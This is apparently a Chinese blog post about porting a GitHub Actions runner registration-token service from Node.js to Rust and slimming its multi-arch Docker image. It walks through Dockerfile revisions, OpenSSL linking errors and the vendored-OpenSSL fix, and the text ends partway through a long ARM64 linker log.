  const registration_token_url = `https://api.github.com/orgs/${req.params.github_org_name}/actions/runners/registration-token`
  const github_pat = org_pat_map[`${req.params.github_org_name}`]
  const headers = {
    Authorization: `token ${github_pat}`,
  }
  axios
    .post(registration_token_url, {}, { headers: headers })
    .then((github_res) => {
      res.send(github_res['data']['token'])
    })
})

既然是个简单的 Web Application,那用 Rust 改写一下应该没啥难度吧,而且还有 ChatGPT 和 GitHub Copilot 加持,What could possibly go wrong?

很快我便找到了一个看上去用的人很多的 Web 框架——Rocket,然后在和 ChatGPT 大量对话,在 VSCode 中大量 Quick Fix 解决了各种奇妙的借用和引用的问题,学会了奇怪的 match, Ok 等语法之后,我终于有一个能用的 https://github.com/knatnetwork/github-runner-kms-rs Rust 版本的 KMS 了!

在和 BennyThink 炫耀了一翻(我的 ChatGPT 使用技巧)之后我便开始准备起了我的老本行工作——CI/CD 和 MultiArch 镜像打包(不然 ARM64 用户怎么用),然后噩梦就开始了。

最开始我的 Dockerfile 是这样的:

# docker build . -t knatnetwork/github-runner-kms-rs
FROM rust:1.72 as builder

WORKDIR /app

COPY Cargo.toml Cargo.lock rust-toolchain.toml ./

RUN mkdir src

COPY src ./src

RUN cargo build --release

FROM debian:bookworm-slim

RUN apt update && apt install -y libssl-dev && rm -rf /var/lib/apt/lists/*

WORKDIR /

COPY --from=builder /etc/ssl/certs/ca-certificates.crt /etc/ssl/certs/
COPY --from=builder /app/target/release/github-runner-kms-rs /github-runner-kms-rs

ENV ROCKET_ADDRESS=0.0.0.0
ENV ROCKET_PORT=3000

CMD ["/github-runner-kms-rs"]

这样虽然可以直接用 Buildx 构建多架构镜像,但是这样构建出出来的镜像比较大,和我之前用 Node 写的版本体积差异不大(那这 Rust 重写的优势似乎就一点都没了):

knatnetwork/github-runner-kms-rs latest 99a06a8d8f58 About a minute ago 111MB
knatnetwork/github-runner-kms    latest f7f01af885d1 16 months ago      116MB

于是我想了一下,应该把运行时环境改为 scratch 之类的,这样可以减少运行时的负担。

然后 Dockerfile 就成了这个样子:

# docker build . -t knatnetwork/github-runner-kms-rs
FROM rust:1.72 as builder

WORKDIR /app

COPY Cargo.toml Cargo.lock rust-toolchain.toml ./

RUN mkdir src

COPY src ./src

RUN cargo build --release

FROM scratch

WORKDIR /

COPY --from=builder /etc/ssl/certs/ca-certificates.crt /etc/ssl/certs/
COPY --from=builder /app/target/release/github-runner-kms-rs /github-runner-kms-rs

ENV ROCKET_ADDRESS=0.0.0.0
ENV ROCKET_PORT=3000

CMD ["/github-runner-kms-rs"]

很快啊,就构建好了,镜像体积也很小:

REPOSITORY                                  TAG                  IMAGE ID       CREATED          SIZE
knatnetwork/github-runner-kms-rs            latest               bb498b0571f6   4 seconds ago    17MB

完美啊,这不得吹爆,我们来运行一下:

exec /github-runner-kms-rs: no such file or directory

我知道了,肯定是 scratch 有什么问题,我换成 alpine 试试,由于 Rust 的镜像默认是 debian 的,所以也需要一并修改一下:

# docker build . -t knatnetwork/github-runner-kms-rs
FROM rust:1.72-alpine as builder

WORKDIR /app

COPY Cargo.toml Cargo.lock rust-toolchain.toml ./

RUN mkdir src

COPY src ./src

RUN cargo build --release

FROM alpine

WORKDIR /

COPY --from=builder /etc/ssl/certs/ca-certificates.crt /etc/ssl/certs/
COPY --from=builder /app/target/release/github-runner-kms-rs /github-runner-kms-rs

ENV ROCKET_ADDRESS=0.0.0.0
ENV ROCKET_PORT=3000

CMD ["/github-runner-kms-rs"]

然后构建的时候就看到报错了:

#0 42.91   cargo:rerun-if-env-changed=PKG_CONFIG_SYSROOT_DIR
#0 42.91   run pkg_config fail: Could not run `PKG_CONFIG_ALLOW_SYSTEM_CFLAGS="1" "pkg-config" "--libs" "--cflags" "openssl"`
#0 42.91   The pkg-config command could not be found.
#0 42.91
#0 42.91   Most likely, you need to install a pkg-config package for your OS.
#0 42.91   Try `apt install pkg-config`, or `yum install pkg-config`,
#0 42.91   or `pkg install pkg-config`, or `apk add pkgconfig` depending on your distribution.
#0 42.91
#0 42.91   If you've already installed it, ensure the pkg-config command is one of the
#0 42.91   directories in the PATH environment variable.
#0 42.91
#0 42.91   If you did not expect this build to link to a pre-installed system library,
#0 42.91   then check documentation of the openssl-sys crate for an option to
#0 42.91   build the library from source, or disable features or dependencies
#0 42.91   that require pkg-config.
#0 42.91
#0 42.91   --- stderr
#0 42.91   thread 'main' panicked at /usr/local/cargo/registry/src/index.crates.io-6f17d22bba15001f/openssl-sys-0.9.92/build/find_normal.rs:190:5:

行,那我加上 pkg-config 啥的再构建一次,这个时候我的 Dockerfile 长这个样子:

# docker build . -t knatnetwork/github-runner-kms-rs
FROM rust:1.72-alpine as builder

WORKDIR /app

RUN apk add --no-cache musl-dev pkgconfig openssl-dev perl make

COPY Cargo.toml Cargo.lock rust-toolchain.toml ./

RUN mkdir src

COPY src ./src

RUN cargo build --release

FROM alpine

WORKDIR /

COPY --from=builder /etc/ssl/certs/ca-certificates.crt /etc/ssl/certs/
COPY --from=builder /app/target/release/github-runner-kms-rs /github-runner-kms-rs

ENV ROCKET_ADDRESS=0.0.0.0
ENV ROCKET_PORT=3000

CMD ["/github-runner-kms-rs"]

我们再构建一次!果不其然,又报错了:

#0 241.7 error: linking with `cc` failed: exit status: 1
#0 241.7   |
#0 241.7   = note: LC_ALL="C" PATH="/usr/local/rustup/toolchains/nightly-x86_64-unknown-linux-musl/lib/rustlib/x86_64-unknown-linux-musl/bin:/usr/local/rustup/toolchains/nightly-x86_64-unknown-linux-musl/lib/rustlib/x86_64-unknown-linux-musl/bin/self-contained:/usr/local/cargo/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin" VSLANG="1033" "cc" "-m64" "/usr/local/rustup/toolchains/nightly-x86_64-unknown-linux-musl/lib/rustlib/x86_64-unknown-linux-musl/lib/self-contained/rcrt1.o" "/usr/local/rustup/toolchains/nightly-x86_64-unknown-linux-musl/lib/rustlib/x86_64-unknown-linux-musl/lib/self-contained/crti.o" "/usr/local/rustup/toolchains/nightly-x86_64-unknown-linux-musl/lib/rustlib/x86_64-unknown-linux-musl/lib/self-contained/crtbeginS.o" "/tmp/rustcDeOMKK/symbols.o" "/app/target/release/deps/github_runner_kms_rs-17a998135e03eec4.github_runner_kms_rs.a68f20bb02f7f6b1-cgu.00.rcgu.o" "/app/target/release/deps/github_runner_kms_rs-17a998135e03eec4.github_runner_kms_rs.a68f20bb02f7f6b1-cgu.01.rcgu.o" "/app/target/release/deps/github_runner_kms_rs-17a998135e03eec4.github_runner_kms_rs.a68f20bb02f7f6b1-cgu.02.rcgu.o" "/app/target/release/deps/github_runner_kms_rs-17a998135e03eec4.github_runner_kms_rs.a68f20bb02f7f6b1-cgu.03.rcgu.o" "/app/target/release/deps/github_runner_kms_rs-17a998135e03eec4.github_runner_kms_rs.a68f20bb02f7f6b1-cgu.04.rcgu.o" "/app/target/release/deps/github_runner_kms_rs-17a998135e03eec4.github_runner_kms_rs.a68f20bb02f7f6b1-cgu.05.rcgu.o" "/app/target/release/deps/github_runner_kms_rs-17a998135e03eec4.github_runner_kms_rs.a68f20bb02f7f6b1-cgu.06.rcgu.o" "/app/target/release/deps/github_runner_kms_rs-17a998135e03eec4.github_runner_kms_rs.a68f20bb02f7f6b1-cgu.07.rcgu.o" "/app/target/release/deps/github_runner_kms_rs-17a998135e03eec4.github_runner_kms_rs.a68f20bb02f7f6b1-cgu.08.rcgu.o" "/app/target/release/deps/github_runner_kms_rs-17a998135e03eec4.github_runner_kms_rs.a68f20bb02f7f6b1-cgu.09.rcgu.o" "/app/target/release/deps/github_runner_kms_rs-17a998135e03eec4.github_runner_kms_rs.a68f20bb02f7f6b1-cgu.10.rcgu.o" "/app/target/release/deps/github_runner_kms_rs-17a998135e03eec4.github_runner_kms_rs.a68f20bb02f7f6b1-cgu.11.rcgu.o" "/app/target/release/deps/github_runner_kms_rs-17a998135e03eec4.github_runner_kms_rs.a68f20bb02f7f6b1-cgu.12.rcgu.o" "/app/target/release/deps/github_runner_kms_rs-17a998135e03eec4.github_runner_kms_rs.a68f20bb02f7f6b1-cgu.13.rcgu.o" "/app/target/release/deps/github_runner_kms_rs-17a998135e03eec4.github_runner_kms_rs.a68f20bb02f7f6b1-cgu.14.rcgu.o" "/app/target/release/deps/github_runner_kms_rs-17a998135e03eec4.github_runner_kms_rs.a68f20bb02f7f6b1-cgu.15.rcgu.o" "/app/target/release/deps/github_runner_kms_rs-17a998135e03eec4.29evm7mljwxoiapo.rcgu.o" "-Wl,--as-needed" "-L" "/app/target/release/deps" "-L" "/usr/local/rustup/toolchains/nightly-x86_64-unknown-linux-musl/lib/rustlib/x86_64-unknown-linux-musl/lib" "-Wl,-Bstatic" "/app/target/release/deps/libreqwest-413f19fd305705be.rlib" "/app/target/release/deps/libhyper_tls-de7cff274ebc6082.rlib" "/app/target/release/deps/libipnet-0c1b57a669a9cbd8.rlib" "/app/target/release/deps/libtokio_tls-466d4c7c8ccde9e9.rlib" "/app/target/release/deps/libserde_urlencoded-564227aa75c6cf61.rlib" "/app/target/release/deps/libserde_json-315a6db3313efd74.rlib" "/app/target/release/deps/libryu-90b15a42c578bb1b.rlib" "/app/target/release/deps/libbase64-8443b2b8d5247f8c.rlib" "/app/target/release/deps/libmime_guess-70f88a763e586f7b.rlib" "/app/target/release/deps/libunicase-97b33380ac397ca5.rlib" "/app/target/release/deps/libnative_tls-f133c0df3c5c9fd7.rlib" "/app/target/release/deps/libopenssl_probe-4ee893680cc72bb7.rlib" "/app/target/release/deps/libopenssl-7f4f468be3a29e7b.rlib" "/app/target/release/deps/libforeign_types-c9b9e12302cd9400.rlib" "/app/target/release/deps/libforeign_types_shared-bb46efa448555615.rlib" "/app/target/release/deps/libopenssl_sys-84601691acc36521.rlib" "-lssl" "-lcrypto" "/app/target/release/deps/libhyper-ff2045cb6eee285f.rlib" "/app/target/release/deps/libitoa-9c4aa3027875d0a4.rlib" "/app/target/release/deps/libwant-5bbf44ef9f4a7fa8.rlib" "/app/target/release/deps/libtry_lock-6191f2e97230b624.rlib" "/app/target/release/deps/libh2-82e3ed415fa5aea0.rlib" "/app/target/release/deps/libtracing_futures-efb4777831323b90.rlib" "/app/target/release/deps/libtokio_util-73b052921eb07c94.rlib" "/app/target/release/deps/libhttpdate-4c5189ab64dae771.rlib" "/app/target/release/deps/libsocket2-1130a50fedd9c30b.rlib" "/app/target/release/deps/libpin_project-b61326a08f60c63f.rlib" "/app/target/release/deps/libtokio-70f5a8f7f958d3c5.rlib" "/app/target/release/deps/libmio-9d4964e6513a1ad4.rlib" "/app/target/release/deps/libiovec-5eb94694c4d55713.rlib" "/app/target/release/deps/libnet2-385966268f23ec9a.rlib" "/app/target/release/deps/libcfg_if-527be9ad7a3eeeb2.rlib" "/app/target/release/deps/libpin_project_lite-026a5c0a6346e10b.rlib" "/app/target/release/deps/libhttp_body-b029c1e1a93a3fdf.rlib" "/app/target/release/deps/libbytes-fef57e8100be4cf1.rlib" "/app/target/release/deps/liblazy_static-87ea8e6cd0d19ffd.rlib" "/app/target/release/deps/liburl-e81b6a63132098ee.rlib" "/app/target/release/deps/libidna-5684e22ece388933.rlib" "/app/target/release/deps/libunicode_normalization-92c59e55724ea807.rlib" "/app/target/release/deps/libtinyvec-4891f23dc055ae76.rlib" "/app/target/release/deps/libtinyvec_macros-ae46f58adef890f1.rlib" "/app/target/release/deps/libunicode_bidi-67cd6e4bd49a819a.rlib" "/app/target/release/deps/libform_urlencoded-4e21afe0dbb58abf.rlib" "/app/target/release/deps/librocket-832be8dcd38752d6.rlib" "/app/target/release/deps/libtempfile-8989b89b2acedd7d.rlib" "/app/target/release/deps/libfastrand-17898f5e8f1a75d7.rlib" "/app/target/release/deps/librocket_http-f225536aa9ad7cf2.rlib" "/app/target/release/deps/libcookie-ce99a55cf79ae699.rlib" "/app/target/release/deps/libstable_pattern-da7d537afad82119.rlib" "/app/target/release/deps/libref_cast-a3c03861c7b11191.rlib" "/app/target/release/deps/libpercent_encoding-fe9f461b263a8555.rlib" "/app/target/release/deps/libhyper-7fc355661d3af9a4.rlib" "/app/target/release/deps/libsocket2-7287e7ae2a015f6e.rlib" "/app/target/release/deps/libh2-a5c9f91aa852b87a.rlib" "/app/target/release/deps/libtower_service-d7d1e275b15ecdd2.rlib" "/app/target/release/deps/libhttp_body-917efee2cb9ae3e1.rlib" "/app/target/release/deps/libhttpdate-193fb5bb3fc8a1ae.rlib" "/app/target/release/deps/libmulter-548b013c594046c9.rlib" "/app/target/release/deps/libmime-1cad6985ad94cd3b.rlib" "/app/target/release/deps/libtokio_util-881f259bd1a88175.rlib" "/app/target/release/deps/libtracing-673c78ac2e8759c9.rlib" "/app/target/release/deps/libtracing_core-de020e7a190e075f.rlib" "/app/target/release/deps/libonce_cell-80e3a82336bdedeb.rlib" "/app/target/release/deps/libhttparse-915a8f2da663425b.rlib" "/app/target/release/deps/libspin-90368875e9195bbf.rlib" "/app/target/release/deps/libencoding_rs-a267f372c3465d02.rlib" "/app/target/release/deps/libhttp-2aa08726f20a7e51.rlib" "/app/target/release/deps/libfnv-ccadf0ca239599af.rlib" "/app/target/release/deps/libindexmap-b2631349373b4eda.rlib" "/app/target/release/deps/libhashbrown-646e7ed123d930ac.rlib" "/app/target/release/deps/libeither-6a752b59d57df59f.rlib" "/app/target/release/deps/libtokio_stream-936dd6e7aa37fe15.rlib" "/app/target/release/deps/libatomic-63dfc73318740fca.rlib" "/app/target/release/deps/libstate-f900f6803deccbbb.rlib" "/app/target/release/deps/libparking_lot-b00169d41edd8ef0.rlib" "/app/target/release/deps/libparking_lot_core-4300f975357633e6.rlib" "/app/target/release/deps/libcfg_if-bdedb1558d5a790e.rlib" "/app/target/release/deps/libsmallvec-b7eac3fc16cf2b93.rlib" "/app/target/release/deps/liblock_api-8154e6a7bb534615.rlib" "/app/target/release/deps/libscopeguard-ddf34753bef86582.rlib" "/app/target/release/deps/libubyte-d7872ed76fc901cf.rlib" "/app/target/release/deps/liblog-9d9910a5d9babcfc.rlib" "/app/target/release/deps/libis_terminal-f80d54d2371bb2f4.rlib" "/app/target/release/deps/librustix-56fc3b73c0650f3b.rlib" "/app/target/release/deps/libbitflags-6f97b00d5a87d32c.rlib" "/app/target/release/deps/liblinux_raw_sys-ae38d2f22413e0d9.rlib" "/app/target/release/deps/libtime-be7976a42ebcbd3a.rlib" "/app/target/release/deps/libitoa-8df96135456c1a40.rlib" "/app/target/release/deps/libtime_core-5ca9150016beb056.rlib" "/app/target/release/deps/libderanged-9d02b676a9edd287.rlib" "/app/target/release/deps/libfigment-1aed0533fdd61cdb.rlib" "/app/target/release/deps/libtoml-4a1822de166a3a68.rlib" "/app/target/release/deps/libtoml_edit-0314208a88a6ab31.rlib" "/app/target/release/deps/libserde_spanned-9c866aa0a4b5efb3.rlib" "/app/target/release/deps/libindexmap-9b4c1e51b49f3cb4.rlib" "/app/target/release/deps/libequivalent-0346c4465917450c.rlib" "/app/target/release/deps/libhashbrown-4b13bd6e646304c9.rlib" "/app/target/release/deps/libwinnow-00608ede3019061f.rlib" "/app/target/release/deps/libtoml_datetime-c86f900ee8b12fe5.rlib" "/app/target/release/deps/libuncased-919310f4f59c9874.rlib" "/app/target/release/deps/libpear-c5fa3a40c5c3f0af.rlib" "/app/target/release/deps/libyansi-df176c4301432cd3.rlib" "/app/target/release/deps/libinlinable_string-a22ad308dd1b07a2.rlib" "/app/target/release/deps/libserde-59ec3dd8b1be388a.rlib" "/app/target/release/deps/libtokio-95992c2592bb0c1f.rlib" "/app/target/release/deps/libsignal_hook_registry-4379b6cf82a47e5f.rlib" "/app/target/release/deps/libnum_cpus-22db30514c6fb165.rlib" "/app/target/release/deps/libsocket2-dd7ce22dc0bab972.rlib" "/app/target/release/deps/libbytes-cddfab68b70b4adf.rlib" "/app/target/release/deps/libmio-d42badb48e0ac464.rlib" "/app/target/release/deps/liblibc-2ca4858ecc804368.rlib" "/app/target/release/deps/libfutures-ea9b2c8ab782fbcb.rlib" "/app/target/release/deps/libfutures_util-9fb679167ede9916.rlib" "/app/target/release/deps/libmemchr-ff5c1472ed3ed161.rlib" "/app/target/release/deps/libfutures_io-01dc2cf3aa4236c2.rlib" "/app/target/release/deps/libslab-177f4a968e2a0d65.rlib" "/app/target/release/deps/libfutures_channel-5981b2be6878f268.rlib" "/app/target/release/deps/libfutures_sink-513fa35af3ccc1e4.rlib" "/app/target/release/deps/libfutures_task-e1c37fe63f09b725.rlib" "/app/target/release/deps/libpin_utils-935e967700f223b2.rlib" "/app/target/release/deps/libasync_stream-a5738128891a22b0.rlib" "/app/target/release/deps/libpin_project_lite-e1c5bd7fc51504b1.rlib" "/app/target/release/deps/libfutures_core-75ef89d194605f16.rlib" "/app/target/release/deps/libyansi-3091a0348e2a99aa.rlib" "/usr/local/rustup/toolchains/nightly-x86_64-unknown-linux-musl/lib/rustlib/x86_64-unknown-linux-musl/lib/libstd-392158b4be25c1ca.rlib" "/usr/local/rustup/toolchains/nightly-x86_64-unknown-linux-musl/lib/rustlib/x86_64-unknown-linux-musl/lib/libpanic_unwind-2f4593a24c3685f6.rlib" "/usr/local/rustup/toolchains/nightly-x86_64-unknown-linux-musl/lib/rustlib/x86_64-unknown-linux-musl/lib/libobject-3d441ba40b9044b1.rlib" "/usr/local/rustup/toolchains/nightly-x86_64-unknown-linux-musl/lib/rustlib/x86_64-unknown-linux-musl/lib/libmemchr-a1fdc3e91cd7a940.rlib" "/usr/local/rustup/toolchains/nightly-x86_64-unknown-linux-musl/lib/rustlib/x86_64-unknown-linux-musl/lib/libaddr2line-b27007973df10889.rlib" "/usr/local/rustup/toolchains/nightly-x86_64-unknown-linux-musl/lib/rustlib/x86_64-unknown-linux-musl/lib/libgimli-018fc651c64b4919.rlib" "/usr/local/rustup/toolchains/nightly-x86_64-unknown-linux-musl/lib/rustlib/x86_64-unknown-linux-musl/lib/librustc_demangle-74ef6c2730cac143.rlib" "/usr/local/rustup/toolchains/nightly-x86_64-unknown-linux-musl/lib/rustlib/x86_64-unknown-linux-musl/lib/libstd_detect-b5bb5c679f5e4950.rlib" "/usr/local/rustup/toolchains/nightly-x86_64-unknown-linux-musl/lib/rustlib/x86_64-unknown-linux-musl/lib/libhashbrown-5d0fff17d48f6fa3.rlib" "/usr/local/rustup/toolchains/nightly-x86_64-unknown-linux-musl/lib/rustlib/x86_64-unknown-linux-musl/lib/librustc_std_workspace_alloc-60e165cf1cd7e3ba.rlib" "/usr/local/rustup/toolchains/nightly-x86_64-unknown-linux-musl/lib/rustlib/x86_64-unknown-linux-musl/lib/libminiz_oxide-d0b56a52ada963bf.rlib" "/usr/local/rustup/toolchains/nightly-x86_64-unknown-linux-musl/lib/rustlib/x86_64-unknown-linux-musl/lib/libadler-ebe9143ffa577f3e.rlib" "/usr/local/rustup/toolchains/nightly-x86_64-unknown-linux-musl/lib/rustlib/x86_64-unknown-linux-musl/lib/libunwind-734e914bc1b79a35.rlib" "-lunwind" "/usr/local/rustup/toolchains/nightly-x86_64-unknown-linux-musl/lib/rustlib/x86_64-unknown-linux-musl/lib/libcfg_if-718dc81eeaa0f994.rlib" "/usr/local/rustup/toolchains/nightly-x86_64-unknown-linux-musl/lib/rustlib/x86_64-unknown-linux-musl/lib/liblibc-22394e7a0b2ed9e6.rlib" "-lc" "/usr/local/rustup/toolchains/nightly-x86_64-unknown-linux-musl/lib/rustlib/x86_64-unknown-linux-musl/lib/liballoc-9535089e3d7da7cd.rlib" "/usr/local/rustup/toolchains/nightly-x86_64-unknown-linux-musl/lib/rustlib/x86_64-unknown-linux-musl/lib/librustc_std_workspace_core-e251179636a4eb0c.rlib" "/usr/local/rustup/toolchains/nightly-x86_64-unknown-linux-musl/lib/rustlib/x86_64-unknown-linux-musl/lib/libcore-d01acce508fabf16.rlib" "/usr/local/rustup/toolchains/nightly-x86_64-unknown-linux-musl/lib/rustlib/x86_64-unknown-linux-musl/lib/libcompiler_builtins-7ab2269e6a08c0c8.rlib" "-Wl,-Bdynamic" "-Wl,--eh-frame-hdr" "-Wl,-z,noexecstack" "-nostartfiles" "-L" "/usr/local/rustup/toolchains/nightly-x86_64-unknown-linux-musl/lib/rustlib/x86_64-unknown-linux-musl/lib" "-L" "/usr/local/rustup/toolchains/nightly-x86_64-unknown-linux-musl/lib/rustlib/x86_64-unknown-linux-musl/lib/self-contained" "-o" "/app/target/release/deps/github_runner_kms_rs-17a998135e03eec4" "-Wl,--gc-sections" "-static-pie" "-Wl,-z,relro,-z,now" "-Wl,-O1" "-nodefaultlibs" "/usr/local/rustup/toolchains/nightly-x86_64-unknown-linux-musl/lib/rustlib/x86_64-unknown-linux-musl/lib/self-contained/crtendS.o" "/usr/local/rustup/toolchains/nightly-x86_64-unknown-linux-musl/lib/rustlib/x86_64-unknown-linux-musl/lib/self-contained/crtn.o"
#0 241.7   = note: /usr/lib/gcc/x86_64-alpine-linux-musl/12.2.1/../../../../x86_64-alpine-linux-musl/bin/ld: cannot find -lssl: No such file or directory
#0 241.7           /usr/lib/gcc/x86_64-alpine-linux-musl/12.2.1/../../../../x86_64-alpine-linux-musl/bin/ld: cannot find -lcrypto: No such file or directory
#0 241.7           collect2: error: ld returned 1 exit status
#0 241.7
#0 241.7
#0 241.8 error: could not compile `github-runner-kms-rs` (bin "github-runner-kms-rs") due to previous error
------

各种网上搜索发现好像和 ssl 库相关,参考网上搜到的做法在 Cargo.toml 中加入:

openssl = { version = "0.10", features = ["vendored"] }

If the vendored Cargo feature is enabled, the openssl-src crate will be used to compile and statically link to a copy of OpenSSL. The build process requires a C compiler, perl (and perl-core), and make. The OpenSSL version will generally track the newest OpenSSL release, and changes to the version are not considered breaking changes.

The vendored copy will not be configured to automatically find the system’s root certificates, but the openssl-probe crate can be used to do that instead.

features = ["vendored"]:这是一个特性(feature)列表,你启用了名为 “vendored” 的特性。这个特性通常用于启用 OpenSSL crate 内部包含的 OpenSSL 库代码,而不是依赖系统上已安装的 OpenSSL 库。这对于确保项目的可移植性和不受外部系统库影响很有用。

并重新构建,构建成功,体积不大,且可用:

REPOSITORY                                  TAG                  IMAGE ID       CREATED          SIZE
knatnetwork/github-runner-kms-rs            latest               89d3f57c74e8   13 seconds ago   24.7MB

为了确认这个 Dockerfile 在 ARM64 上是可用的,我去 Hetzner ARM64 的机器上又构建了一下,然后又报错了:

Compiling github-runner-kms-rs v0.0.1 (/app)
error: linking with `cc` failed: exit status: 1
  |
  = note: LC_ALL="C" PATH="/usr/local/rustup/toolchains/nightly-aarch64-unknown-linux-musl/lib/rustlib/aarch64-unknown-linux-musl/bin:/usr/local/rustup/toolchains/nightly-aarch64-unknown-linux-musl/lib/rustlib/aarch64-unknown-linux-musl/bin/self-contained:/usr/local/cargo/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin" VSLANG="1033" "cc" "/usr/local/rustup/toolchains/nightly-aarch64-unknown-linux-musl/lib/rustlib/aarch64-unknown-linux-musl/lib/self-contained/crt1.o" "/usr/local/rustup/toolchains/nightly-aarch64-unknown-linux-musl/lib/rustlib/aarch64-unknown-linux-musl/lib/self-contained/crti.o" "/usr/local/rustup/toolchains/nightly-aarch64-unknown-linux-musl/lib/rustlib/aarch64-unknown-linux-musl/lib/self-contained/crtbegin.o" "/tmp/rustc471pKi/symbols.o" "/app/target/release/deps/github_runner_kms_rs-bffd4dfb21b941cb.github_runner_kms_rs.3726c178f93421ac-cgu.00.rcgu.o" "/app/target/release/deps/github_runner_kms_rs-bffd4dfb21b941cb.github_runner_kms_rs.3726c178f93421ac-cgu.01.rcgu.o" "/app/target/release/deps/github_runner_kms_rs-bffd4dfb21b941cb.github_runner_kms_rs.3726c178f93421ac-cgu.02.rcgu.o" "/app/target/release/deps/github_runner_kms_rs-bffd4dfb21b941cb.github_runner_kms_rs.3726c178f93421ac-cgu.03.rcgu.o" "/app/target/release/deps/github_runner_kms_rs-bffd4dfb21b941cb.github_runner_kms_rs.3726c178f93421ac-cgu.04.rcgu.o" "/app/target/release/deps/github_runner_kms_rs-bffd4dfb21b941cb.github_runner_kms_rs.3726c178f93421ac-cgu.05.rcgu.o" "/app/target/release/deps/github_runner_kms_rs-bffd4dfb21b941cb.github_runner_kms_rs.3726c178f93421ac-cgu.06.rcgu.o" "/app/target/release/deps/github_runner_kms_rs-bffd4dfb21b941cb.github_runner_kms_rs.3726c178f93421ac-cgu.07.rcgu.o" "/app/target/release/deps/github_runner_kms_rs-bffd4dfb21b941cb.github_runner_kms_rs.3726c178f93421ac-cgu.08.rcgu.o" "/app/target/release/deps/github_runner_kms_rs-bffd4dfb21b941cb.github_runner_kms_rs.3726c178f93421ac-cgu.09.rcgu.o" "/app/target/release/deps/github_runner_kms_rs-bffd4dfb21b941cb.github_runner_kms_rs.3726c178f93421ac-cgu.10.rcgu.o" "/app/target/release/deps/github_runner_kms_rs-bffd4dfb21b941cb.github_runner_kms_rs.3726c178f93421ac-cgu.11.rcgu.o" "/app/target/release/deps/github_runner_kms_rs-bffd4dfb21b941cb.github_runner_kms_rs.3726c178f93421ac-cgu.12.rcgu.o" "/app/target/release/deps/github_runner_kms_rs-bffd4dfb21b941cb.github_runner_kms_rs.3726c178f93421ac-cgu.13.rcgu.o" "/app/target/release/deps/github_runner_kms_rs-bffd4dfb21b941cb.github_runner_kms_rs.3726c178f93421ac-cgu.14.rcgu.o" "/app/target/release/deps/github_runner_kms_rs-bffd4dfb21b941cb.github_runner_kms_rs.3726c178f93421ac-cgu.15.rcgu.o" "/app/target/release/deps/github_runner_kms_rs-bffd4dfb21b941cb.386c0okcsj1kdyxq.rcgu.o" "-Wl,--as-needed" "-L" "/app/target/release/deps" "-L" "/app/target/release/build/openssl-sys-4b52ea22bc2c9689/out/openssl-build/install/lib" "-L" "/usr/local/rustup/toolchains/nightly-aarch64-unknown-linux-musl/lib/rustlib/aarch64-unknown-linux-musl/lib" "-Wl,-Bstatic" "/app/target/release/deps/libreqwest-54f0eecd9a64461b.rlib" "/app/target/release/deps/libhyper_tls-5ca5c68388624029.rlib" "/app/target/release/deps/libipnet-08585b1977ca241e.rlib" "/app/target/release/deps/libtokio_tls-47f0cf803f182381.rlib" "/app/target/release/deps/libserde_urlencoded-0289e236f6d19683.rlib" "/app/target/release/deps/libserde_json-d3559a6d9b9bafad.rlib" "/app/target/release/deps/libryu-d11638cc977e3ce1.rlib" "/app/target/release/deps/libbase64-59c1b043c4836ced.rlib" "/app/target/release/deps/libmime_guess-69823f6aefb6b725.rlib" "/app/target/release/deps/libunicase-a40432df8a9a314e.rlib" "/app/target/release/deps/libnative_tls-04640cf8429bb72d.rlib" "/app/target/release/deps/libopenssl_probe-9623f95c78a89b7b.rlib" "/app/target/release/deps/libopenssl-1cda5fdcb61189f2.rlib" "/app/target/release/deps/libforeign_types-1b720a3fcda466c3.rlib" "/app/target/release/deps/libforeign_types_shared-b7ca5d81cc6277ea.rlib" "/app/target/release/deps/libopenssl_sys-a1fc529eecb6f62a.rlib" "/app/target/release/deps/libhyper-759486257b4ee38e.rlib" "/app/target/release/deps/libitoa-30035605c6471794.rlib" "/app/target/release/deps/libwant-890dfc4530313552.rlib" "/app/target/release/deps/libtry_lock-f77b14c662e56223.rlib" "/app/target/release/deps/libh2-3c32179e7d40dc2c.rlib" "/app/target/release/deps/libtracing_futures-17d9f4809bc33a4e.rlib" "/app/target/release/deps/libtokio_util-3b78186931dd6398.rlib" "/app/target/release/deps/libhttpdate-ff82d3c9a161b281.rlib" "/app/target/release/deps/libsocket2-3a41184621f5382b.rlib" "/app/target/release/deps/libpin_project-ccc7c81d8c5b7805.rlib" "/app/target/release/deps/libtokio-f37464c26f941839.rlib" "/app/target/release/deps/libmio-e71907e4eff0fc5b.rlib" "/app/target/release/deps/libiovec-f51c232606345975.rlib" "/app/target/release/deps/libnet2-3fca814dd8e633ad.rlib" "/app/target/release/deps/libcfg_if-168a945f68d1bbcd.rlib" "/app/target/release/deps/libpin_project_lite-1bf4ebfeba6a22ff.rlib" "/app/target/release/deps/libhttp_body-8b198314e43c14c3.rlib" "/app/target/release/deps/libbytes-68abd7f3517436fa.rlib" "/app/target/release/deps/liblazy_static-3eab779d0755d944.rlib" "/app/target/release/deps/liburl-2ce936308decc46b.rlib" "/app/target/release/deps/libidna-cd14ab0da5fb1a63.rlib" "/app/target/release/deps/libunicode_normalization-6c57abfbf329ee87.rlib" "/app/target/release/deps/libtinyvec-ef48a9b182dd1dde.rlib" "/app/target/release/deps/libtinyvec_macros-5fd9bbd566d8bb0f.rlib" "/app/target/release/deps/libunicode_bidi-4858cefce3fa42ab.rlib" "/app/target/release/deps/libform_urlencoded-3a4a484c740e305e.rlib" "/app/target/release/deps/librocket-fe764f64c47f18d0.rlib" "/app/target/release/deps/libtempfile-2da99e2fd34c9ea0.rlib" "/app/target/release/deps/libfastrand-5e43380f5d309843.rlib" "/app/target/release/deps/librocket_http-10249d804070975f.rlib" "/app/target/release/deps/libcookie-d052d9163ba02221.rlib" "/app/target/release/deps/libstable_pattern-8f4888ae4649d360.rlib" "/app/target/release/deps/libref_cast-be488d9518312b95.rlib" "/app/target/release/deps/libpercent_encoding-359ca849981e7017.rlib" "/app/target/release/deps/libhyper-fbeb526f03e319c6.rlib" "/app/target/release/deps/libsocket2-da6932068eedebf0.rlib" "/app/target/release/deps/libh2-fc18c83bb913466d.rlib" "/app/target/release/deps/libtower_service-bb0e22f36f510baa.rlib" "/app/target/release/deps/libhttp_body-d96258acc03c9153.rlib" "/app/target/release/deps/libhttpdate-8d23528641b845b0.rlib" "/app/target/release/deps/libmulter-a3bb3415bbe509b1.rlib" "/app/target/release/deps/libmime-521d44d88d9ca9b8.rlib" 